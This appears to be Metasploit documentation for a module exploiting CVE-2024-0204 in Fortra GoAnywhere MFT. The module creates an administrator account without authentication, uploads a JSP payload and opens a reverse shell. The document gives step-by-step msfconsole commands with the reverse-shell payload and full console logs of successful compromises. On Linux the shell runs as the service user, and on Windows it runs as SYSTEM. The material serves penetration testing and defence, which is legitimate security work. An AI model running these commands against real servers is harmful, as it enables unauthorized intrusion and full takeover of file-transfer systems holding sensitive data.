## Vulnerable Application
This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to
create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere
MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable.

## Testing
To test use Fortra GoAnywhere 7.4.0. You will need to register for a trial from the Fortra website in order to
receive a 30 day trial license. The portal where you receive a trial license will only let you download the most
recent version of the product, so you will also need to have access to an installer for an older, vulnerable version
of the product to install and test on.

## Verification Steps
The exploits default target 0 (Automatic), will detect the target systems OS, so you do not need to specify the target
OS (Linux or Windows).

1. Start msfconsole
2. `use exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set target 0`
5. `set PAYLOAD java/jsp_shell_reverse_tcp`
6. `check`
7. `exploit`

## Options

### GOANYWHERE_INSTALL_PATH
This is the file system path to the GoAnywhere MFT installation. If the target is set to `Automatic`, then this path
will be discovered automatically.

## Scenarios
The Automatic target will detect the GoAnywhere MFT servers OS and select the correct target, or you can explicitly
select a target platform (Linux or Windows).

### Automatic (Linux)

```
msf exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > show options

Module options (exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.100.1.30      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-meta
                                         sploit.html
   RPORT      8001             yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /goanywhere/     yes       The base path to the web application
   VHOST                       no        HTTP server virtual host


Payload options (java/jsp_shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.100.1.10      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
   SHELL                   no        The system shell to use.


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > check
[*] 10.100.1.30:8001 - The target appears to be vulnerable. GoAnywhere MFT 7.4.0
msf exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > exploit

[*] Started reverse TCP handler on 10.100.1.10:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. GoAnywhere MFT 7.4.0
[*] Created account: uchvkpgt:ZindpxggDdvtrxu3
[*] Automatic targeting, detected OS: Linux
[*] Automatic targeting, detected install path: /opt/HelpSystems/GoAnywhere
[*] Dropped payload: /opt/HelpSystems/GoAnywhere/adminroot/EIlMlYdQ.jsp
[+] Deleted /opt/HelpSystems/GoAnywhere/adminroot/EIlMlYdQ.jsp
[!] Tried to delete /opt/HelpSystems/GoAnywhere/userdata/documents/uchvkpgt/EIlMlYdQ.jsp, unknown result
[+] Deleted /opt/HelpSystems/GoAnywhere/userdata/documents/uchvkpgt/
[*] Command shell session 4 opened (10.100.1.10:4444 -> 10.100.1.30:49572) at 2024-01-29 17:49:08 +0000

id
uid=1002(gamft) gid=1002(gamft) groups=1002(gamft)
pwd
/opt/HelpSystems/GoAnywhere
uname -a
Linux ubuntu-test-vm 6.5.0-15-generic #15~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 12 18:54:30 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 10.100.1.30 - Command shell session 8 closed.
msf exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) >
```

### Automatic (Windows)

```
msf exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > show options

Module options (exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.100.1.20      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-meta
                                         sploit.html
   RPORT      8001             yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /goanywhere/     yes       The base path to the web application
   VHOST                       no        HTTP server virtual host


Payload options (java/jsp_shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.100.1.10      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
   SHELL                   no        The system shell to use.


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > check
[*] 10.100.1.20:8001 - The target appears to be vulnerable. GoAnywhere MFT 7.4.0
msf exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > exploit

[*] Started reverse TCP handler on 10.100.1.10:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. GoAnywhere MFT 7.4.0
[*] Created account: ckgbeqlo:ib0Qk3cMDvnaipTP
[*] Automatic targeting, detected OS: Windows
[*] Automatic targeting, detected install path: C:\Program Files\Fortra\GoAnywhere
[*] Dropped payload: C:\Program Files\Fortra\GoAnywhere\adminroot\b9OvIFdK.jsp
[!] Tried to delete C:\Program Files\Fortra\GoAnywhere\adminroot\b9OvIFdK.jsp, unknown result
[!] Tried to delete C:\Program Files\Fortra\GoAnywhere\userdata\documents\ckgbeqlo\b9OvIFdK.jsp, unknown result
[*] Command shell session 9 opened (10.100.1.10:4444 -> 10.100.1.20:57059) at 2024-01-29 16:31:01 +0000
[!] This exploit may require manual cleanup of 'C:\Program Files\Fortra\GoAnywhere\userdata\documents\ckgbeqlo\' on the target


Shell Banner:
Microsoft Windows [Version 10.0.20348.1607]
(c) Microsoft Corporation. All rights reserved.
-----
          

C:\Program Files\Fortra\GoAnywhere>whoami
whoami
nt authority\system

C:\Program Files\Fortra\GoAnywhere>exit
exit
[*] 10.100.1.20 - Command shell session 9 closed.
msf exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > 
```
